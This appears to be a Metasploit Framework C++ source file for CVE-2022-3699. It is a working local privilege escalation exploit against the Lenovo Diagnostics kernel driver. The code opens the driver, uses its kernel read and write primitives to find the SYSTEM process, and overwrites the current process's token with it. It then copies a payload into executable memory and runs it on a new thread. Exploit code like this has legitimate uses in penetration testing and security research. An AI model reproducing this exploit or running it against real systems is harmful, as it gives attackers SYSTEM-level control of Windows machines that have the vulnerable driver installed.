rapid7/metasploit-framework

View on GitHub
external/source/exploits/CVE-2022-3699/CVE-2022-3699/exploit.cpp

Summary

Maintainability
Test Coverage
#pragma once
#define DEBUGTRACE 1
#include "common.h"
#include "definitions.h"
#include "LenovoMemoryMgr.h"

#include <tchar.h>

const EPROCESS_OFFSETS* g_pEprocessOffsets = NULL;
fNtQuerySystemInformation NtQuerySystemInfo = NULL;
fRtlGetNtVersionNumbers RtlGetNtVersionNumbers = NULL;

void ExecutePayload(PMSF_PAYLOAD pMsfPayload) {
    if (!pMsfPayload)
        return;
    PVOID pPayload = VirtualAlloc(NULL, pMsfPayload->dwSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    if (!pPayload)
        return;
    CopyMemory(pPayload, &pMsfPayload->cPayloadData, pMsfPayload->dwSize);
    CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)pPayload, NULL, 0, NULL);
}

BOOL ResolveRequirements(DWORD dwMajor, DWORD dwMinor, DWORD dwBuild) {

    dwBuild = LOWORD(dwBuild);
    //dprintf("[*] Windows version: %u.%u.%u", dwMajor, dwMinor, dwBuild);
    if ((dwMajor == 10) && (dwMinor == 0)) {
        if ((dwBuild >= 14393) && (dwBuild <= 19045)) {
            if ((dwBuild < 15063)) {
                g_pEprocessOffsets = &EprocessOffsetsWin10v1607;
            }
            else if ((dwBuild < 16299)) {
                g_pEprocessOffsets = &EprocessOffsetsWin10v1703;
            }
            else if ((dwBuild < 17134)) {
                g_pEprocessOffsets = &EprocessOffsetsWin10v1709;
            }
            else if ((dwBuild < 17763)) {
                g_pEprocessOffsets = &EprocessOffsetsWin10v1803;
            }
            else if ((dwBuild < 18362)) {
                g_pEprocessOffsets = &EprocessOffsetsWin10v1809;
            }
            else if ((dwBuild < 19041)) {
                g_pEprocessOffsets = &EprocessOffsetsWin10v1903;
            }
            else if ((dwBuild < 19043)) {
                g_pEprocessOffsets = &EprocessOffsetsWin10v2004;
            }
            else if ((dwBuild == 19044)) {
                g_pEprocessOffsets = &EprocessOffsetsWin10v21H2;
            }
            else if ((dwBuild == 19045)) {
                g_pEprocessOffsets = &EprocessOffsetsWin10v21H2;
            }
        }
        else if (dwBuild == 22000) {
            g_pEprocessOffsets = &EprocessOffsetsWin11v21H2;
        }
        else if (dwBuild == 20348) {
            g_pEprocessOffsets = &EprocessOffsetsWinServer2022;
        }
    }
    else {
        return FALSE;
    }
    return TRUE;
}

PSYSTEM_HANDLE_TABLE_ENTRY_INFO GetHandleEntryInfo(HANDLE hHandle, DWORD dwProcessId) {
    HANDLE hProcessHeap = GetProcessHeap();
    DWORD dwSize = 4096;
    DWORD dwReturnSize = 0;
    PSYSTEM_HANDLE_INFORMATION pSystemHandles = NULL;
    PSYSTEM_HANDLE_TABLE_ENTRY_INFO pHandleEntryInfo = NULL;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;

    do {
        if (pSystemHandles) {
            HeapFree(hProcessHeap, 0, pSystemHandles);
            pSystemHandles = NULL;
            dwSize *= 2;
        }
        pSystemHandles = (PSYSTEM_HANDLE_INFORMATION)HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, dwSize);
        if (pSystemHandles == NULL) {
            return NULL;
        }

        Status = (NTSTATUS)NtQuerySystemInfo(SystemHandleInformation, pSystemHandles, dwSize, &dwReturnSize);
    } while (Status == STATUS_INFO_LENGTH_MISMATCH);

    if (Status != STATUS_SUCCESS) {
        HeapFree(hProcessHeap, 0, pSystemHandles);
        return NULL;
    }

    for (DWORD dwIndex = 0; dwIndex < pSystemHandles->NumberOfHandles; dwIndex++) {
        if (pSystemHandles->Handles[dwIndex].UniqueProcessId != dwProcessId) {
            continue;
        }
        if ((HANDLE)pSystemHandles->Handles[dwIndex].HandleValue != hHandle) {
            continue;
        }

        if (pHandleEntryInfo = (PSYSTEM_HANDLE_TABLE_ENTRY_INFO)HeapAlloc(hProcessHeap, HEAP_ZERO_MEMORY, sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO))) {
            CopyMemory(pHandleEntryInfo, &pSystemHandles->Handles[dwIndex], sizeof(SYSTEM_HANDLE_TABLE_ENTRY_INFO));
        }
        break;
    }
    HeapFree(hProcessHeap, 0, pSystemHandles);
    return pHandleEntryInfo;
}

UINT64 GetPsInitialSystemProc(UINT64 lpNtoskrnlBase) {
    HMODULE hNtos = LoadLibraryA("ntoskrnl.exe");
    if (!hNtos) {
        return NULL;
    }

    PVOID initial_proc = GetProcAddress(hNtos, "PsInitialSystemProcess");
    initial_proc = (PVOID)(((SIZE_T)initial_proc - (SIZE_T)hNtos) + (SIZE_T)lpNtoskrnlBase);
    FreeLibrary(hNtos);
    return (UINT64)initial_proc;
}

// this is a over-simplification of the primitives to just do a ULONG_PTR at a time
// they can actually be used to transfer an arbitrary amount of data
ULONG_PTR KernelRead(LenovoMemoryMgr lm, ULONG_PTR SrcAddr) {
    ULONG_PTR ulValueRead;
    lm.ReadVirtData(SrcAddr, &ulValueRead);
    return ulValueRead;
}

VOID KernelWrite(LenovoMemoryMgr lm, ULONG_PTR DstAddr, ULONG_PTR Data) {
    lm.WriteVirtData(DstAddr, &Data);
}

BOOL UpgradeToken(LenovoMemoryMgr lm, PVOID pParam, ULONG_PTR ulEProcess) {
    ULONG_PTR ulEprocessBak = ulEProcess;
    ULONG_PTR ulSystemToken = 0;
    ULONG_PTR ulMyToken = 0;
    ULONG_PTR ulMyTokenAddr = 0;
    DWORD dwPidSelf = GetCurrentProcessId();

    while (!ulSystemToken || !ulMyTokenAddr) {
        DWORD dwPidRead = KernelRead(lm, ulEProcess + g_pEprocessOffsets->UniqueProcessId) & 0xffffffff;
        if (dwPidRead == 4)
        {
            ulSystemToken = KernelRead(lm, ulEProcess + g_pEprocessOffsets->Token);
        }

        if (dwPidRead == dwPidSelf)
        {
            ulMyTokenAddr = ulEProcess + g_pEprocessOffsets->Token;
        }
        ulEProcess = KernelRead(lm, ulEProcess + g_pEprocessOffsets->ActiveProcessLinks) - g_pEprocessOffsets->ActiveProcessLinks;
        if (ulEprocessBak == ulEProcess)
            break;
    }

    KernelWrite(lm, ulMyTokenAddr, ulSystemToken);
    return TRUE;
}

DWORD Exploit(PMSF_PAYLOAD pPayload) {
    HANDLE hDriver = INVALID_HANDLE_VALUE;
    HANDLE hProc = INVALID_HANDLE_VALUE;
    PSYSTEM_HANDLE_TABLE_ENTRY_INFO pHandleEntryInfo = NULL;
    HMODULE hNtdll = GetModuleHandle("ntdll");

    if (hNtdll == NULL) {
        return FALSE;
    }

    NtQuerySystemInfo = (fNtQuerySystemInformation)GetProcAddress(hNtdll, "NtQuerySystemInformation");
    if (NtQuerySystemInfo == NULL) {
        return FALSE;
    }

    if (!(RtlGetNtVersionNumbers = (fRtlGetNtVersionNumbers)GetProcAddress(hNtdll, "RtlGetNtVersionNumbers"))) {
        return FALSE;
    }

    /* get the version to determine the necessary eprocess offsets */
    DWORD dwMajor, dwMinor, dwBuild;
    RtlGetNtVersionNumbers(&dwMajor, &dwMinor, &dwBuild);

    LenovoMemoryMgr lm = LenovoMemoryMgr::LenovoMemoryMgr();

    BOOL hasInit = lm.init(dwBuild);

    if (!hasInit) {
        return -1;
    }

    UINT64 OurProcess = 0;

    if (!ResolveRequirements(dwMajor, dwMinor, dwBuild)) {
        dprintf("[-] Failed to resolve requirements");
        return 0;
    }
    UINT64 PsInitialSystemProcPtr = GetPsInitialSystemProc(lm.NtosBase);
    dprintf("Found initial system process at %llx\n", PsInitialSystemProcPtr);
    UINT64 SystemProc = 0;
    lm.ReadVirtData(PsInitialSystemProcPtr, &SystemProc);

    hDriver = CreateFile(_T("\\\\.\\LenovoDiagnosticsDriver"), GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
    if (hDriver == INVALID_HANDLE_VALUE) {
        dprintf("[-] Failed to get a handle to the driver");
        return 0;
    }

    hProc = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE, GetCurrentProcessId());
    if (hProc == NULL) {
        dprintf("[-] Failed to get a handle to the current process");
        CloseHandle(hDriver);
        return 0;
    }

    pHandleEntryInfo = GetHandleEntryInfo(hProc, GetCurrentProcessId());

    if (pHandleEntryInfo == NULL) {
        dprintf("[-] Failed to get the handle entry information");
        CloseHandle(hDriver);
        return 0;
    }

    dprintf("[*] Current nt!_EPROCESS found at 0x%p", pHandleEntryInfo->Object);
    dprintf("[*]         nt!_EPROCESS->Token = 0x%p", KernelRead(lm, (ULONG_PTR)pHandleEntryInfo->Object + g_pEprocessOffsets->Token));

    if (UpgradeToken(lm, hDriver, (ULONG_PTR)pHandleEntryInfo->Object)) {
        ExecutePayload(pPayload);
    }

    HeapFree(GetProcessHeap(), 0, pHandleEntryInfo);
    CloseHandle(hDriver);
    return 0;
}